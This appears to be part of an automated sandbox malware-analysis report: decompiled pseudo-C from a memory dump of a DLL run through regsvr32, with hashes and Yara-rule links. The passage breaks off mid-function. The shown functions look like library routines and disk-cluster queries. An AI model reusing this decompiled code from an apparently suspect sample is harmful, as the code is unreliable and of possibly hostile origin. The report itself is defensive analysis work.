                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                        • String ID: CorExitProcess$mscoree.dll
                                                                                                        • API String ID: 4061214504-1276376045
                                                                                                        • Opcode ID: 9d201b2e8ee82504f762b8f7ac95110bd143bde7a34293067688077b5d9b4dc3
                                                                                                        • Instruction ID: 313010d06d902b382c66edf0a0e6e7b06e5bac079676598ff676cc15dd8f8d10
                                                                                                        • Opcode Fuzzy Hash: 9d201b2e8ee82504f762b8f7ac95110bd143bde7a34293067688077b5d9b4dc3
                                                                                                        • Instruction Fuzzy Hash: 72F09671311B0C82FB568B64E4543AA5370BB4D7E5F648216EA6A465E4CF3DC28CC710
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180018720 Relevance: 7.8, APIs: 5, Instructions: 290COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 84%
                                                                                                        			E00000001180018720(signed int __ecx, void* __rax, long long __rbx, void* __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, signed char* __r8, signed char* __r9, long long _a8, long long _a16, long long _a24) {
				intOrPtr _v40;
				void* _t39;
				void* _t41;
				void* _t84;
				long long _t88;
				long long _t100;
				long long* _t121;
				signed char* _t131;

				_t84 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_t131 = __r9;
				if (__r8[4] == 0) goto 0x8001875c;
				E00000001180017674(__rax);
				goto 0x80018762;
				r15d = 0;
				if (__rdi == 0) goto 0x800188e2;
				if (r15d == 0) goto 0x80018781;
				E00000001180017674(_t84);
				goto 0x80018784;
				if ( *((intOrPtr*)(__rdi + 0x10)) == dil) goto 0x800188e2;
				if (__r8[8] != 0) goto 0x8001879b;
				if ( *__r8 >= 0) goto 0x800188e2;
				if ( *__r8 < 0) goto 0x800187a9;
				_t121 = __r8[8] +  *__rdx;
				if (( *__r8 & 0x00000080) == 0) goto 0x800187e0;
				if (( *__r9 & 0x00000010) == 0) goto 0x800187e0;
				_t88 =  *0x800d9888; // 0x0
				if (_t88 == 0) goto 0x800187e0;
				_t39 =  *0x8007d5c0();
				if (_t88 == 0) goto 0x800188fe;
				if (_t121 == 0) goto 0x800188fe;
				 *_t121 = _t88;
				goto 0x8001883f;
				if (( *__r8 & 0x00000008) == 0) goto 0x80018800;
				_t100 =  *((intOrPtr*)(__rcx + 0x28));
				if (_t100 == 0) goto 0x80018903;
				if (_t121 == 0) goto 0x80018903;
				 *_t121 = _t100;
				goto 0x8001883f;
				if (( *__r9 & 0x00000001) == 0) goto 0x80018850;
				if ( *((intOrPtr*)(__rcx + 0x28)) == 0) goto 0x80018908;
				if (_t121 == 0) goto 0x80018908;
				E00000001180015E10();
				if (__r9[0x14] != 8) goto 0x800188de;
				if ( *_t121 == __rdi) goto 0x800188de;
				E00000001180018070(_t39,  *_t121,  &(__r9[8]));
				 *_t121 = _t88;
				goto 0x800188de;
				if ( *((intOrPtr*)(_t131 + 0x18)) == 0) goto 0x80018865;
				_t41 = E00000001180017688(_t88);
				goto 0x8001886a;
				if (__rdi != 0) goto 0x800188a3;
				if ( *((intOrPtr*)(__rcx + 0x28)) == __rdi) goto 0x8001890d;
				if (_t121 == 0) goto 0x8001890d;
				E00000001180018070(_t41,  *((intOrPtr*)(__rcx + 0x28)), _t131 + 8);
				E00000001180015E10();
				goto 0x800188de;
				if ( *((intOrPtr*)(__rcx + 0x28)) == __rdi) goto 0x80018912;
				if (_t121 == 0) goto 0x80018912;
				if (0 == 0) goto 0x800188c3;
				E00000001180017688(_t88);
				goto 0x800188c6;
				if (__rdi == 0) goto 0x80018912;
				asm("sbb ecx, ecx");
				_v40 =  ~__ecx + 1;
				goto 0x800188e4;
				return 0;
			}











                                                                                                        0x180018720
                                                                                                        0x180018720
                                                                                                        0x180018725
                                                                                                        0x18001872a
                                                                                                        0x180018739
                                                                                                        0x18001874b
                                                                                                        0x180018751
                                                                                                        0x18001875a
                                                                                                        0x18001875f
                                                                                                        0x180018765
                                                                                                        0x18001876e
                                                                                                        0x180018770
                                                                                                        0x18001877f
                                                                                                        0x180018788
                                                                                                        0x180018791
                                                                                                        0x180018795
                                                                                                        0x18001879d
                                                                                                        0x1800187a6
                                                                                                        0x1800187ac
                                                                                                        0x1800187b2
                                                                                                        0x1800187b4
                                                                                                        0x1800187be
                                                                                                        0x1800187c0
                                                                                                        0x1800187c9
                                                                                                        0x1800187d2
                                                                                                        0x1800187d8
                                                                                                        0x1800187de
                                                                                                        0x1800187e3
                                                                                                        0x1800187e5
                                                                                                        0x1800187ec
                                                                                                        0x1800187f5
                                                                                                        0x1800187fb
                                                                                                        0x1800187fe
                                                                                                        0x180018804
                                                                                                        0x18001880d
                                                                                                        0x180018816
                                                                                                        0x180018823
                                                                                                        0x18001882d
                                                                                                        0x180018836
                                                                                                        0x180018843
                                                                                                        0x180018848
                                                                                                        0x18001884b
                                                                                                        0x180018854
                                                                                                        0x18001885a
                                                                                                        0x180018863
                                                                                                        0x18001886d
                                                                                                        0x180018873
                                                                                                        0x18001887c
                                                                                                        0x18001888e
                                                                                                        0x18001889c
                                                                                                        0x1800188a1
                                                                                                        0x1800188a7
                                                                                                        0x1800188ac
                                                                                                        0x1800188b0
                                                                                                        0x1800188b2
                                                                                                        0x1800188c1
                                                                                                        0x1800188c9
                                                                                                        0x1800188d2
                                                                                                        0x1800188da
                                                                                                        0x1800188e0
                                                                                                        0x1800188fd

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: AdjustPointer
                                                                                                        • String ID:
                                                                                                        • API String ID: 1740715915-0
                                                                                                        • Opcode ID: 9b954571db0a59b07b1d2eb30ef20f98a46e8efd2f86284bdc202f245f0fe96e
                                                                                                        • Instruction ID: d186b97370d2d179661b6d21f10d506866bb5f9bba4904e46ea7d317a514911d
                                                                                                        • Opcode Fuzzy Hash: 9b954571db0a59b07b1d2eb30ef20f98a46e8efd2f86284bdc202f245f0fe96e
                                                                                                        • Instruction Fuzzy Hash: 0BB19D32606E8C82EBE7DB5594803A967A4EF4CBC4F59C426BE8907795DF34C74AE301
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018001F9F8 Relevance: 7.6, APIs: 5, Instructions: 94COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 93%
                                                                                                        			E0000000118001F9F8(void* __edx, long long __rbx, long long* __rcx, long long __rdi, long long __rsi, void* __r10, void* __r11, long long __r14) {
				void* _v8;
				char _v24;
				char _v40;
				char _v56;
				intOrPtr _v64;
				char _v72;
				void* _t31;
				void* _t34;
				void* _t35;
				signed int _t36;
				signed int _t37;
				void* _t40;
				void* _t54;
				char* _t65;
				char* _t66;
				char _t78;
				long long* _t85;
				void* _t92;

				_t54 = _t92;
				 *((long long*)(_t54 + 8)) = __rbx;
				 *((long long*)(_t54 + 0x10)) = __rsi;
				 *((long long*)(_t54 + 0x18)) = __rdi;
				 *((long long*)(_t54 + 0x20)) = __r14;
				r14d = 0;
				_t85 = __rcx;
				_t65 =  *0x800d9928; // 0x0
				sil = __edx;
				if ( *_t65 != 0x51) goto 0x8001fa37;
				_t66 = _t65 + 1;
				 *0x800d9928 = _t66;
				_t78 =  *_t66;
				if (__edx != 0) goto 0x8001fa52;
				 *((intOrPtr*)(__rcx + 8)) = r14d;
				 *__rcx = 0x800c36a0;
				goto 0x8001fb25;
				_t6 = _t78 - 0x30; // -48
				if (_t6 - 9 > 0) goto 0x8001fab6;
				 *0x800d9928 = _t66 + 1;
				if (1 == 0) goto 0x8001fa9e;
				_t7 = _t78 - 0x2f; // -47
				E0000000118001C4A0(_t7,  &_v56, _t7, __rsi, __r10);
				E0000000118001C2DC(0x800c36a0,  &_v40, 0x800d8240);
				_t31 = E0000000118001C858(0x800c36a0,  &_v72, 0x800c36a0);
				goto 0x8001faab;
				E0000000118001C4A0(_t31,  &_v24,  &_v72 - 0x2f, __rsi, __r10);
				 *_t85 = _v72;
				goto 0x8001fb22;
				_t34 = E00000001180023B40(_t40,  &_v72,  &_v72 - 0x2f);
				if (_v64 == r14b) goto 0x8001fb02;
				 *0x800d9928 =  *0x800d9928 + 1;
				if (sil == 0) goto 0x8001faef;
				if (1 == 0) goto 0x8001fae4;
				_t35 = E0000000118001C3F8(_t34,  &_v24, _v72, __rsi, __r11);
				goto 0x8001fa76;
				_t36 = E0000000118001C3F8(_t35,  &_v56, _v72, __rsi, __r11);
				goto 0x8001faab;
				if (1 == 0) goto 0x8001fafc;
				goto 0x8001fa71;
				goto 0x8001faa6;
				_t59 =  !=  ? __r14 : 0x800c36a0;
				 *_t85 =  !=  ? __r14 : 0x800c36a0;
				asm("sbb eax, eax");
				_t37 = _t36 & 0x00000002;
				 *(_t85 + 8) = _t37;
				return _t37;
			}





















                                                                                                        0x18001f9f8
                                                                                                        0x18001f9fb
                                                                                                        0x18001f9ff
                                                                                                        0x18001fa03
                                                                                                        0x18001fa07
                                                                                                        0x18001fa13
                                                                                                        0x18001fa16
                                                                                                        0x18001fa19
                                                                                                        0x18001fa20
                                                                                                        0x18001fa29
                                                                                                        0x18001fa2b
                                                                                                        0x18001fa30
                                                                                                        0x18001fa37
                                                                                                        0x18001fa3d
                                                                                                        0x18001fa46
                                                                                                        0x18001fa4a
                                                                                                        0x18001fa4d
                                                                                                        0x18001fa52
                                                                                                        0x18001fa57
                                                                                                        0x18001fa5c
                                                                                                        0x18001fa65
                                                                                                        0x18001fa67
                                                                                                        0x18001fa71
                                                                                                        0x18001fa84
                                                                                                        0x18001fa93
                                                                                                        0x18001fa9c
                                                                                                        0x18001faa6
                                                                                                        0x18001fab1
                                                                                                        0x18001fab4
                                                                                                        0x18001faba
                                                                                                        0x18001fac3
                                                                                                        0x18001fac5
                                                                                                        0x18001fad3
                                                                                                        0x18001fad7
                                                                                                        0x18001fadd
                                                                                                        0x18001fae2
                                                                                                        0x18001fae8
                                                                                                        0x18001faed
                                                                                                        0x18001faf1
                                                                                                        0x18001faf7
                                                                                                        0x18001fb00
                                                                                                        0x18001fb14
                                                                                                        0x18001fb1a
                                                                                                        0x18001fb1d
                                                                                                        0x18001fb1f
                                                                                                        0x18001fb22
                                                                                                        0x18001fb41

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: NameName::$Name::operator+
                                                                                                        • String ID:
                                                                                                        • API String ID: 826178784-0
                                                                                                        • Opcode ID: 2de12c0a417d29d035e16282dee701062f5a5a92bb51edffd796fe4907807a7c
                                                                                                        • Instruction ID: 717e9e11acd40f180eb157ddec93c3053f2e8b9aa1e3501d9023e9f2045d1b8d
                                                                                                        • Opcode Fuzzy Hash: 2de12c0a417d29d035e16282dee701062f5a5a92bb51edffd796fe4907807a7c
                                                                                                        • Instruction Fuzzy Hash: 16417672215E5899EBA2CB61D8903EC33B4BB5CBC0F98C016EA4E53395DF38CA59C301
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180006A7C Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 306COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 74%
                                                                                                        			E00000001180006A7C(void* __ecx, void* __rax, long long __rbx, void* __rcx, intOrPtr* __rdx, void* __r10) {
				long _t113;
				void* _t115;
				void* _t131;
				void* _t134;
				void* _t139;
				signed long long _t192;
				signed long long _t193;
				long _t199;
				long _t208;
				intOrPtr _t209;
				intOrPtr _t214;
				intOrPtr _t215;
				intOrPtr _t216;
				intOrPtr _t217;
				long long* _t219;
				intOrPtr _t257;
				long long _t260;
				intOrPtr _t261;
				void* _t262;
				intOrPtr _t264;
				intOrPtr _t265;
				intOrPtr _t267;
				intOrPtr _t268;
				intOrPtr _t270;
				intOrPtr _t271;
				void* _t274;
				void* _t278;
				void* _t279;
				void* _t281;
				void* _t283;
				signed long long _t284;
				void* _t290;
				long _t292;
				signed long long _t293;
				void* _t295;
				void* _t296;
				long _t298;
				void* _t302;
				intOrPtr _t303;

				_t131 = __ecx;
				 *((long long*)(_t283 + 0x18)) = __rbx;
				_push(_t278);
				_push(_t274);
				_push(_t260);
				E00000001180014A10(0x10080, __rax, __r10, _t290);
				_t284 = _t283 - __rax;
				_t192 =  *0x800d81f8; // 0x68308725f9ca
				_t193 = _t192 ^ _t284;
				 *(_t284 + 0x10070) = _t193;
				 *((intOrPtr*)(_t284 + 0x44)) = r9d;
				 *((intOrPtr*)(_t284 + 0x40)) = r8d;
				_t296 = __rcx;
				E00000001180005CCC();
				r12d = 0;
				 *(_t284 + 0x58) = _t193;
				 *(__rdx + 0x1b0) = _t292;
				 *(__rdx + 0x1a8) = _t292;
				 *(__rdx + 0x1b8) = _t292;
				_t9 = _t292 + 1; // 0x1
				_t139 = _t9;
				 *(__rdx + 0x1c0) = _t292;
				r14d = _t139;
				 *(__rdx + 0x1c8) = _t292;
				 *(_t284 + 0x38) = _t292;
				 *((long long*)(_t284 + 0x30)) = _t284 + 0x48;
				r9d = 8;
				 *((intOrPtr*)(_t284 + 0x28)) = 0x10010;
				 *((long long*)(_t284 + 0x20)) = _t284 + 0x60;
				 *((long long*)(_t284 + 0x50)) = _t260;
				if (DeviceIoControl(_t302, _t298, _t295, _t292) == 0) goto 0x80006b42;
				goto 0x80006b59;
				_t113 = GetLastError();
				if (_t113 == 0) goto 0x80006b59;
				if (_t113 != 0xea) goto 0x80006c73;
				_t303 =  *((intOrPtr*)(_t284 + 0x60));
				r10d = 0x10000;
				_t287 = _t292;
				_t293 =  *((intOrPtr*)(_t284 + 0x68));
				_t261 = _t303;
				r8b = sil;
				_t115 =  <  ? _t131 : r10d;
				if (_t115 <= 0) goto 0x80006c55;
				r10b = r8b;
				if (_t261 -  *((intOrPtr*)(__rdx + 0x168)) < 0) goto 0x80006bae;
				if (_t261 -  *((intOrPtr*)(__rdx + 0x170)) < 0) goto 0x80006bd2;
				if (_t261 -  *((intOrPtr*)(__rdx + 0x178)) < 0) goto 0x80006bc0;
				if (_t261 -  *((intOrPtr*)(__rdx + 0x180)) < 0) goto 0x80006bd2;
				if (_t261 -  *((intOrPtr*)(__rdx + 0x188)) < 0) goto 0x80006bd4;
				if (_t261 -  *((intOrPtr*)(__rdx + 0x190)) >= 0) goto 0x80006bd4;
				_t134 = _t139;
				if (r14d != 0) goto 0x80006c23;
				if (_t134 == 0) goto 0x80006c29;
				 *(__rdx + 0x1b0) =  *(__rdx + 0x1b0) + _t274;
				 *(__rdx + 0x1a8) =  *(__rdx + 0x1a8) + _t261 - _t278;
				_t199 = _t261 - _t278;
				if ( *(__rdx + 0x1b8) - _t199 >= 0) goto 0x80006c07;
				 *(__rdx + 0x1b8) = _t199;
				if (_t199 - 0x10 >= 0) goto 0x80006c29;
				 *(__rdx + 0x1c0) =  *(__rdx + 0x1c0) + _t274;
				 *(__rdx + 0x1c8) =  *(__rdx + 0x1c8) + _t261 - _t278;
				goto 0x80006c29;
				_t279 =  ==  ? _t261 : _t278;
				r14d = _t134;
				if (r8b != 0x80) goto 0x80006c37;
				r8b = sil;
				goto 0x80006c3a;
				r8b = r8b + r8b;
				_t41 = _t287 + 1; // 0x1
				_t203 =  !=  ? _t292 : _t41;
				_t262 = _t261 + _t274;
				if (( !=  ? _t292 : _t41) - _t115 < 0) goto 0x80006b8d;
				if (_t113 != 0xea) goto 0x80006c70;
				r12d = 0;
				if (_t262 - _t293 + _t303 < 0) goto 0x80006af9;
				r12d = 0;
				if (r14d != 0) goto 0x80006cb9;
				 *(__rdx + 0x1b0) =  *(__rdx + 0x1b0) + _t274;
				 *(__rdx + 0x1a8) =  *(__rdx + 0x1a8) + _t262 - _t279;
				_t208 = _t262 - _t279;
				if ( *(__rdx + 0x1b8) - _t208 >= 0) goto 0x80006ca2;
				 *(__rdx + 0x1b8) = _t208;
				if (_t208 - 0x10 >= 0) goto 0x80006cb9;
				 *(__rdx + 0x1c0) =  *(__rdx + 0x1c0) + _t274;
				 *(__rdx + 0x1c8) =  *(__rdx + 0x1c8) + _t262 - _t279;
				_t264 =  *((intOrPtr*)(__rdx + 0x120));
				 *(__rdx + 0x1d0) = _t293;
				 *(__rdx + 0x1d8) = _t293;
				 *(__rdx + 0x1e0) = _t293;
				 *(__rdx + 0x1e8) = _t293;
				 *(__rdx + 0x1f0) = _t293;
				 *(__rdx + 0x1f8) = _t293;
				 *(__rdx + 0x200) = _t293;
				if (_t264 == 0) goto 0x80006daa;
				_t209 =  *((intOrPtr*)(_t264 + 8));
				goto 0x80006d0e;
				_t265 = _t209;
				if ( *((intOrPtr*)(_t209 + 8)) != 0) goto 0x80006d07;
				if ( *((intOrPtr*)(_t265 + 0x18)) == 0) goto 0x80006d3c;
				if (E00000001180053BDC( *((intOrPtr*)(_t209 + 8)),  *((intOrPtr*)(_t265 + 0x18))) == 0) goto 0x80006d93;
				if (E00000001180053BDC( *((intOrPtr*)(_t209 + 8)),  *((intOrPtr*)(_t265 + 0x18))) == 0) goto 0x80006d93;
				 *(__rdx + 0x1e8) =  *(__rdx + 0x1e8) +  *((intOrPtr*)(_t265 + 0x38));
				 *(__rdx + 0x1f8) =  *(__rdx + 0x1f8) +  *((intOrPtr*)(_t265 + 0x40));
				if ( *((intOrPtr*)(_t265 + 0x78)) != _t139) goto 0x80006d60;
				 *(__rdx + 0x1d0) =  *(__rdx + 0x1d0) + _t274;
				goto 0x80006d67;
				 *(__rdx + 0x1d8) =  *(__rdx + 0x1d8) + _t274;
				if (E0000000118000BCD0(_t296, _t265, _t284 + 0x50,  !=  ? _t292 : _t41) - _t139 <= 0) goto 0x80006d93;
				 *(__rdx + 0x1e0) =  *(__rdx + 0x1e0) + _t274;
				 *(__rdx + 0x1f0) =  *(__rdx + 0x1f0) +  *((intOrPtr*)(_t265 + 0x38));
				_t214 =  *((intOrPtr*)(_t265 + 0x40));
				 *(__rdx + 0x200) =  *(__rdx + 0x200) + _t214;
				E0000000118000F3BC(_t265);
				if (_t214 != 0) goto 0x80006d13;
				_t267 =  *((intOrPtr*)(__rdx + 0x120));
				if (_t267 == 0) goto 0x80006ed0;
				_t215 =  *((intOrPtr*)(_t267 + 8));
				goto 0x80006dca;
				_t268 = _t215;
				_t216 =  *((intOrPtr*)(_t215 + 8));
				if (_t216 != 0) goto 0x80006dc3;
				if ( *((intOrPtr*)(_t268 + 0x18)) == 0) goto 0x80006df8;
				if (E00000001180053BDC(_t216,  *((intOrPtr*)(_t268 + 0x18))) == 0) goto 0x80006e01;
				if (E00000001180053BDC(_t216,  *((intOrPtr*)(_t268 + 0x18))) == 0) goto 0x80006e01;
				if ( *((intOrPtr*)(_t268 + 0x40)) == _t293) goto 0x80006e01;
				_t281 = _t293 + _t274;
				E0000000118000F3BC(_t268);
				if (_t216 != 0) goto 0x80006dcf;
				if (_t281 - _t274 <= 0) goto 0x80006ed0;
				_t270 =  *((intOrPtr*)(__rdx + 0x120));
				if (_t270 == 0) goto 0x80006ead;
				_t217 =  *((intOrPtr*)(_t270 + 8));
				goto 0x80006e3c;
				_t271 = _t217;
				if ( *((intOrPtr*)(_t217 + 8)) != 0) goto 0x80006e35;
				if ( *((intOrPtr*)(_t271 + 0x18)) == 0) goto 0x80006e6a;
				if (E00000001180053BDC( *((intOrPtr*)(_t217 + 8)),  *((intOrPtr*)(_t271 + 0x18))) == 0) goto 0x80006e9a;
				if (E00000001180053BDC( *((intOrPtr*)(_t217 + 8)),  *((intOrPtr*)(_t271 + 0x18))) == 0) goto 0x80006e9a;
				_t257 =  *((intOrPtr*)(_t271 + 0x40));
				if (_t257 == 0) goto 0x80006e9a;
				_t219 =  *((intOrPtr*)(_t271 + 0x60));
				goto 0x80006e83;
				if ( *_t219 != 0xffffffff) goto 0x80006ecb;
				if ( *((intOrPtr*)(_t219 + 0x10)) != 0) goto 0x80006e79;
				E0000000118000F3BC(_t271);
				if ((_t257 + _t293 * 2) * (_t274 - _t281) != 0) goto 0x80006e41;
				asm("xorps xmm1, xmm1");
				asm("xorps xmm0, xmm0");
				asm("repne dec ecx");
				asm("repne dec eax");
				asm("divsd xmm1, xmm0");
				goto 0x80006ed3;
				goto 0x80006e8b;
				asm("xorps xmm1, xmm1");
				asm("movsd [ebx+0x208], xmm1");
				 *__rdx =  *((intOrPtr*)(_t284 + 0x40));
				 *((intOrPtr*)(__rdx + 4)) =  *((intOrPtr*)(_t284 + 0x44));
				 *(__rdx + 0x218) = _t293;
				 *(__rdx + 0x210) = _t293;
				return E000000011800149A0(E00000001180004EE0(_t134, r12d, (_t257 + _t293 * 2) * (_t274 - _t281), __rdx,  *(_t284 + 0x58), __rdx), _t134,  *(_t284 + 0x10070) ^ _t284);
			}










































                                                                                                        0x180006a7c
                                                                                                        0x180006a7c
                                                                                                        0x180006a81
                                                                                                        0x180006a82
                                                                                                        0x180006a83
                                                                                                        0x180006a91
                                                                                                        0x180006a96
                                                                                                        0x180006a99
                                                                                                        0x180006aa0
                                                                                                        0x180006aa3
                                                                                                        0x180006aab
                                                                                                        0x180006ab3
                                                                                                        0x180006ab8
                                                                                                        0x180006abb
                                                                                                        0x180006ac0
                                                                                                        0x180006ac3
                                                                                                        0x180006ac8
                                                                                                        0x180006ad2
                                                                                                        0x180006adc
                                                                                                        0x180006ae3
                                                                                                        0x180006ae3
                                                                                                        0x180006ae8
                                                                                                        0x180006aef
                                                                                                        0x180006af2
                                                                                                        0x180006b02
                                                                                                        0x180006b0c
                                                                                                        0x180006b11
                                                                                                        0x180006b1c
                                                                                                        0x180006b29
                                                                                                        0x180006b2e
                                                                                                        0x180006b3b
                                                                                                        0x180006b40
                                                                                                        0x180006b42
                                                                                                        0x180006b4c
                                                                                                        0x180006b53
                                                                                                        0x180006b59
                                                                                                        0x180006b5e
                                                                                                        0x180006b64
                                                                                                        0x180006b6a
                                                                                                        0x180006b6f
                                                                                                        0x180006b75
                                                                                                        0x180006b7f
                                                                                                        0x180006b87
                                                                                                        0x180006b93
                                                                                                        0x180006ba3
                                                                                                        0x180006bac
                                                                                                        0x180006bb5
                                                                                                        0x180006bbe
                                                                                                        0x180006bc7
                                                                                                        0x180006bd0
                                                                                                        0x180006bd2
                                                                                                        0x180006bd7
                                                                                                        0x180006bdb
                                                                                                        0x180006bdd
                                                                                                        0x180006bea
                                                                                                        0x180006bf4
                                                                                                        0x180006bfe
                                                                                                        0x180006c00
                                                                                                        0x180006c0b
                                                                                                        0x180006c0d
                                                                                                        0x180006c1a
                                                                                                        0x180006c21
                                                                                                        0x180006c25
                                                                                                        0x180006c29
                                                                                                        0x180006c30
                                                                                                        0x180006c32
                                                                                                        0x180006c35
                                                                                                        0x180006c37
                                                                                                        0x180006c3e
                                                                                                        0x180006c42
                                                                                                        0x180006c46
                                                                                                        0x180006c4f
                                                                                                        0x180006c5b
                                                                                                        0x180006c61
                                                                                                        0x180006c6a
                                                                                                        0x180006c70
                                                                                                        0x180006c76
                                                                                                        0x180006c78
                                                                                                        0x180006c85
                                                                                                        0x180006c8f
                                                                                                        0x180006c99
                                                                                                        0x180006c9b
                                                                                                        0x180006ca6
                                                                                                        0x180006ca8
                                                                                                        0x180006cb2
                                                                                                        0x180006cb9
                                                                                                        0x180006cc7
                                                                                                        0x180006cce
                                                                                                        0x180006cd5
                                                                                                        0x180006cdc
                                                                                                        0x180006ce3
                                                                                                        0x180006cea
                                                                                                        0x180006cf1
                                                                                                        0x180006cfb
                                                                                                        0x180006d01
                                                                                                        0x180006d05
                                                                                                        0x180006d07
                                                                                                        0x180006d11
                                                                                                        0x180006d1a
                                                                                                        0x180006d2a
                                                                                                        0x180006d3a
                                                                                                        0x180006d40
                                                                                                        0x180006d4b
                                                                                                        0x180006d55
                                                                                                        0x180006d57
                                                                                                        0x180006d5e
                                                                                                        0x180006d60
                                                                                                        0x180006d74
                                                                                                        0x180006d76
                                                                                                        0x180006d81
                                                                                                        0x180006d88
                                                                                                        0x180006d8c
                                                                                                        0x180006d99
                                                                                                        0x180006da4
                                                                                                        0x180006daa
                                                                                                        0x180006db7
                                                                                                        0x180006dbd
                                                                                                        0x180006dc1
                                                                                                        0x180006dc3
                                                                                                        0x180006dc6
                                                                                                        0x180006dcd
                                                                                                        0x180006dd6
                                                                                                        0x180006de6
                                                                                                        0x180006df6
                                                                                                        0x180006dfc
                                                                                                        0x180006dfe
                                                                                                        0x180006e07
                                                                                                        0x180006e12
                                                                                                        0x180006e17
                                                                                                        0x180006e1d
                                                                                                        0x180006e2d
                                                                                                        0x180006e2f
                                                                                                        0x180006e33
                                                                                                        0x180006e35
                                                                                                        0x180006e3f
                                                                                                        0x180006e48
                                                                                                        0x180006e58
                                                                                                        0x180006e68
                                                                                                        0x180006e6a
                                                                                                        0x180006e71
                                                                                                        0x180006e73
                                                                                                        0x180006e77
                                                                                                        0x180006e7d
                                                                                                        0x180006e86
                                                                                                        0x180006ea0
                                                                                                        0x180006eab
                                                                                                        0x180006ead
                                                                                                        0x180006eb8
                                                                                                        0x180006ebb
                                                                                                        0x180006ec0
                                                                                                        0x180006ec5
                                                                                                        0x180006ec9
                                                                                                        0x180006ece
                                                                                                        0x180006ed0
                                                                                                        0x180006edf
                                                                                                        0x180006ee7
                                                                                                        0x180006eed
                                                                                                        0x180006ef0
                                                                                                        0x180006ef7
                                                                                                        0x180006f2d

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ControlDeviceErrorLast
                                                                                                        • String ID: $BadClus$$BadClus:$Bad:$DATA
                                                                                                        • API String ID: 2645620995-2573216111
                                                                                                        • Opcode ID: e7cadd74a9cfce46973f99514caedce604b80159252b9eb8317a0f9a3aca923c
                                                                                                        • Instruction ID: 17b22e88260bcef9992376949b1850a64dd03110a712066c5996734b9c4f5a71
                                                                                                        • Opcode Fuzzy Hash: e7cadd74a9cfce46973f99514caedce604b80159252b9eb8317a0f9a3aca923c
                                                                                                        • Instruction Fuzzy Hash: 48D16B32B01B8886EB92CF26D5447E973A6F748BD4F188536EE494B7A8DF34D294C310
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180004A14 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 224COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 79%
                                                                                                        			E00000001180004A14(void* __ecx, void* __rax, long long __rbx, void* __rcx, void* __rdx, void* __r8, void* __r9, void* __r11) {
				void* __rsi;
				void* __rbp;
				long _t71;
				long long _t73;
				void* _t86;
				void* _t88;
				signed int _t97;
				intOrPtr _t131;
				signed long long _t139;
				signed int _t146;
				void* _t147;
				void* _t149;
				long long _t180;
				intOrPtr _t181;
				void* _t182;
				intOrPtr* _t183;
				void* _t187;
				void* _t188;
				signed int _t190;
				void* _t192;
				signed long long _t193;
				intOrPtr _t197;
				void* _t212;
				long _t217;
				void* _t219;
				long _t221;
				void* _t225;

				_t88 = __ecx;
				 *((long long*)(_t192 + 0x18)) = __rbx;
				E00000001180014A10(0x10090, __rax, _t212, __r11);
				_t193 = _t192 - __rax;
				_t139 =  *0x800d81f8; // 0x68308725f9ca
				 *(_t193 + 0x10080) = _t139 ^ _t193;
				_t149 = __rdx;
				_t188 = __rcx;
				if ( *((intOrPtr*)(__rdx + 0x20)) == _t190) goto 0x80004d56;
				E000000011800035A0(__rcx, __rdx, __r8, __r9);
